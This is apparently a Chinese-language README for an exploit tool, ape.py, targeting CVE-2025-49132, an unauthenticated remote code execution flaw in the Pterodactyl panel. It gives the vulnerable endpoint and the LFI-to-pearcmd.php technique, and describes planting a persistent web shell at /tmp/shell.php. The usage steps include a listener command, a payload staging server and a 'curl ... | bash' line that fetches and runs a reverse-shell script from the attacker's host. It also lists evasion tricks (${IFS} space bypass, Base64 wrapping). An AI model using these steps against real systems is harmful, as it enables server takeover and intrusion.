CVE-2025-49132 - 简单RCE

📝 概述

本仓库包含针对 CVE-2025-49132 的专用利用工具，这是一个在 Pterodactyl 面板（v1.11.11 之前版本）中存在的严重未认证远程代码执行（RCE）漏洞。

该漏洞存在于 /locales/locale.json 端点。通过操纵 locale 和 namespace 查询参数，攻击者可以利用本地文件包含（LFI）与 pearcmd.php 交互。这允许创建任意文件并执行命令，从而导致系统完全被攻陷。

⚙️ 利用链

ape.py 脚本自动执行以下步骤：

• PEAR 发现：对目录结构进行模糊测试，以定位目标上的 PEAR 安装。
• 后门创建：使用 PEAR 的 config-create 功能将持久化网页 shell 写入 /tmp/shell.php。

🚀 使用说明

为了在目标上实现成功的回调，请遵循以下工作流程：

1. 准备 监听器：在单独的终端启动 Penelope（或您偏好的监听器）：

penelope -p 4444

暂存服务器：如果使用自定义 shell 脚本，通过 Python 托管：

python3 -m http.server 8080

2. 执行 以交互模式运行脚本，以保持对利用过程的控制：

python3 ape.py --host xxx.xxx.xxx --interactive

3. 获取 Shell 在 shell> 提示符内，使用以下命令执行您的暂存有效负载：

shell> curl http://<YOUR_IP>:8080/shell.sh | bash

🛡️ 技术保障

• 空格绕过：自动使用 ${IFS} 确保有效负载在 URL 解析中存活。
• Base64 包装：将反向 shell 命令包装在 Base64 中，以防止目标 Nginx/Web 服务器损坏字符。
• 超时处理：设计用于检测反向 shell 是否成功连接，即使 Web 请求挂起。